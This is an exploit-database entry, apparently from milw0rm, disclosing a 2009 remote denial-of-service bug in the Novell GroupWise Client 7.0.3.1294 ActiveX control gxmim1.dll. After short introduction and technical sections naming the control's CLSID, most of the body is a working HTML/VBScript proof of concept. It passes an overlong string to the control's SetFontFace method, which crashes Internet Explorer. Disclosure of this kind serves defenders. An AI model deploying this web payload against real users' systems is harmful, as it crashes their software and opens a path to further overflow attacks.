Novell Groupwise Client 7.0.3.1294 - ActiveX Denial of Service (PoC)



EKU-ID: 17444 CVE: OSVDB-59719;CVE-2009-3863 OSVDB-ID:
Author: Francis Provencher Published: 2009-09-15 Verified: Verified
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Application:  Novell Groupwise Client 7.0.3.1294

Platforms:    Windows XP Professional French SP2 and SP3

crash:	      IE 6.0.2900.2180

Exploitation: remote DoS

Date:         2009-08-24

Author:       Francis Provencher (Protek Research Lab's)


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1) Introduction
2) Technical details and bug
3) The Code

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===============
1) Introduction
===============

GroupWise is a messaging and collaborative software platform from Novell that supports email, calendaring, personal information management, instant messaging, and document management. The platform consists of the client software, which is available for Windows, Mac OS X, and Linux, and the server software, which is supported on Windows Server, Netware, and Linux. The latest generation of the platform is GroupWise 8, which was launched in 2008.

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2) Technical details
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Name:	gxmim1.dll
Ver.:	7.0.3.1294
CLSID:	{9796BED2-C1CF-11D2-9384-0008C7396667}




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3) The Code
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Proof of concept DoS code;


<html>
<object classid='clsid:9796BED2-C1CF-11D2-9384-0008C7396667' id='GWComposeCtl'></object>


<script language='vbscript'>




argCount   = 1


arg1="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

GWComposeCtl.SetFontFace arg1

</script>




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# milw0rm.com [2009-09-15]